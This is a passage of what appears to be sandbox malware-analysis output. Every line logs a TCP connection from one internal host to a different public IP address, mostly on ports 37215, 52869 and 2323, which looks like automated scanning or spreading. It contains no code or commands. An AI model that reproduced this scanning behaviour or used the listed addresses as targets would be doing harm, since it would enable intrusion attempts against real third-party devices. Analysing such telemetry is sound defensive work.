Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.52.175.140:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.113.206.125:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.224.228.252:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.164.143.249:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.104.113.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.6.95.61:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.189.150.200:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.216.18.137:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.209.57.80:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.233.118.113:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.21.179.212:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.172.241.134:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.147.247.83:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.33.124.178:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.59.176.98:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.216.41.161:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.103.184.79:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.171.125.229:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.23.127.152:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.138.115.205:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.140.244.109:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.169.96.48:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.30.226.169:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.158.249.73:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.252.154.175:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.87.207.127:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.36.180.150:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.163.24.101:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.173.47.28:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.89.171.150:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.68.38.42:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.86.8.174:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.177.137.165:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.104.12.72:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.184.245.173:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.196.72.88:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.246.99.143:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.248.57.110:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.120.65.207:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.135.148.77:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.117.90.99:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.63.163.35:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.52.161.212:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.10.114.12:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.247.139.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.42.204.129:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.251.92.146:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.26.146.231:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.133.246.15:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.149.6.181:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.163.209.214:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.164.25.106:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.80.69.183:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.242.29.171:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.252.170.108:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.17.121.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.42.236.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.233.44.190:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.139.12.174:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.45.60.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.16.124.10:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.120.114.119:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.30.135.209:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.245.196.43:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.248.150.107:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.196.187.73:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.186.47.194:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.241.82.163:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.136.209.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.199.224.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.209.210.67:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.230.212.179:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.40.22.66:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.221.220.140:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.164.168.63:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.68.175.89:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.252.219.203:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.100.196.209:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.169.155.153:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.37.70.229:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.6.85.118:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.188.37.80:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.129.242.169:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.42.253.125:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.132.32.120:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.127.80.98:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.91.228.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.92.240.142:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.112.0.159:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.128.123.30:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.133.233.253:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.45.3.126:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.136.93.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.68.15.29:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.96.94.0:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.38.116.194:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.203.124.49:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.24.111.30:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.91.169.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.25.250.231:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.58.12.135:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.129.215.179:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.183.99.161:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.205.137.129:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.128.78.62:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.217.31.149:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.152.152.38:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.194.180.181:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.152.4.213:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.95.166.80:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.214.63.217:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.24.118.60:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.118.181.143:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.43.195.226:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.184.29.71:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.120.223.201:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.161.252.62:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.158.243.61:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.215.184.177:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.222.230.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.196.150.48:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.190.230.144:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.50.108.213:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.159.31.250:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.215.228.221:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.60.149.65:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.184.55.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.10.216.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.195.245.128:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.35.183.42:37215
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.183.191.136:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.248.131.4:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.152.8.136:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.209.222.208:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.245.110.106:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.115.54.7:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.160.145.109:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.225.206.52:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.140.4.216:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.88.112.9:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.66.205.185:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.84.91.166:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.234.254.118:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.91.217.111:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.6.243.246:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.111.21.115:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.188.171.59:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.201.71.143:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.102.208.139:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.223.1.202:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.116.43.94:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.84.181.199:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.167.179.38:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.78.143.45:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.49.2.128:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.111.81.107:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.33.42.120:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.5.234.27:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.43.59.77:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.67.119.255:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.229.67.248:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.127.219.252:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.145.82.194:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.202.148.63:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.175.106.121:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.11.241.64:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.146.11.26:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.219.49.191:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.254.20.162:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.29.5.14:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.126.219.241:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.183.46.225:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.8.233.71:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.203.57.172:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.79.32.11:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.196.108.9:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.104.236.18:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.29.252.39:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.121.102.48:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.21.163.213:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.135.133.206:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.218.118.61:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.59.148.206:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.10.0.100:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.126.27.231:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.177.84.199:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.155.113.135:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.109.187.45:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.159.83.36:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.77.127.101:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.85.205.5:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.32.233.53:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.228.55.251:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.253.224.211:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.63.54.18:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.168.114.112:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.186.47.165:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.14.170.201:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.239.132.38:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.67.114.133:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.90.125.11:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.180.43.227:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.107.203.68:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.68.4.136:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.178.136.135:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.196.68.56:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.92.29.9:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.198.200.207:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.88.6.138:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.103.165.75:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.63.50.171:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.242.89.56:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.246.204.48:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.151.88.181:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.215.80.128:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.59.9.255:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.161.229.78:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.245.157.42:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.215.3.149:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.107.205.146:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.114.157.172:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.17.92.86:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.105.124.82:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.232.82.251:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.184.229.117:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.110.235.230:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.253.64.103:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.190.162.245:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.117.185.93:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.165.246.195:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.41.206.235:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.5.32.158:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.187.84.64:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.14.68.108:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.103.200.0:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.116.140.85:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.74.172.170:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.142.237.32:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.70.117.87:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.108.1.54:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.243.53.202:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.243.25.96:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.53.206.149:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.45.218.116:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.234.199.135:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.166.171.183:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.58.224.127:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.129.3.186:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.53.105.232:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.40.240.173:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.59.22.89:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.207.199.16:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.231.133.233:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.71.109.45:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.110.108.128:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.53.235.21:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.166.221.21:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.41.46.225:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.145.44.221:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.205.171.2:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.188.222.126:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.212.200.193:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.103.87.249:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.103.144.254:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.46.3.254:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.109.38.200:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.139.93.35:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.227.186.153:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.44.51.246:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.27.66.80:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.141.95.236:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.8.222.125:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.57.122.170:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.193.21.35:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.186.65.15:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.83.165.21:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.152.104.157:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.84.204.133:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.11.92.7:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.16.232.151:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.52.146.188:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.48.178.247:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.161.192.170:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.104.128.97:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.37.224.143:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.209.143.145:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 197.185.185.223:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.117.156.225:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 41.25.249.208:52869
Source: global traffic	TCP traffic: 192.168.2.15:49160 -> 156.125.90.117:52869
Source: global traffic	TCP traffic: 192.168.2.15:50952 -> 48.143.191.136:2323
Source: global traffic	TCP traffic: 192.168.2.15:50952 -> 200.214.112.87:2323
Source: global traffic	TCP traffic: 192.168.2.15:50952 -> 44.156.92.16:2323
Source: global traffic	TCP traffic: 192.168.2.15:50952 -> 86.53.56.229:2323
Source: global traffic	TCP traffic: 192.168.2.15:50952 -> 38.177.98.49:2323
Source: global traffic	TCP traffic: 192.168.2.15:50952 -> 126.27.243.44:2323
Source: global traffic	TCP traffic: 192.168.2.15:50952 -> 134.240.248.138:2323
Source: global traffic	TCP traffic: 192.168.2.15:50952 -> 148.217.182.255:2323
Source: global traffic	TCP traffic: 192.168.2.15:50952 -> 139.229.225.76:2323
Source: global traffic	TCP traffic: 192.168.2.15:50952 -> 169.89.227.42:2323
Source: global traffic	TCP traffic: 192.168.2.15:50952 -> 177.62.228.171:2323
Source: global traffic	TCP traffic: 192.168.2.15:50952 -> 164.147.114.35:2323
Source: global traffic	TCP traffic: 192.168.2.15:50952 -> 126.73.153.212:2323
Source: global traffic	TCP traffic: 192.168.2.15:50952 -> 190.91.68.147:2323
Source: global traffic	TCP traffic: 192.168.2.15:50952 -> 117.143.37.195:2323
Source: global traffic	TCP traffic: 192.168.2.15:45652 -> 104.248.167.251:89
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.18.49.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.125.113.186:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.92.217.226:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.93.120.74:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.253.159.241:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.255.197.227:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.60.42.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.134.91.205:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.9.79.204:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.150.233.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.73.141.147:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.163.89.182:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.53.223.43:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.153.119.82:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.233.7.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.47.218.162:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.53.181.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.65.45.203:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.157.219.31:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.9.51.140:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.201.1.34:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.129.100.80:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.125.149.213:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.220.229.102:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.255.179.108:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.62.189.199:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.165.116.1:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.55.99.115:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.31.255.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.252.76.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.90.6.228:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.76.228.37:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.231.45.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.171.37.150:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.208.235.121:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.68.90.78:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.116.74.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.26.20.240:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.46.209.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.136.158.169:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.96.119.147:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.101.144.109:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.80.24.0:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.171.42.6:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.104.3.143:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.172.72.228:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.2.177.226:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.223.245.100:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.125.63.144:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.71.156.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.150.114.202:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 197.227.9.217:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.232.13.9:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.37.255.29:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.10.167.34:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.114.70.85:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.118.153.204:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 41.122.139.19:37215
Source: global traffic	TCP traffic: 192.168.2.15:49416 -> 156.147.152.174:37215
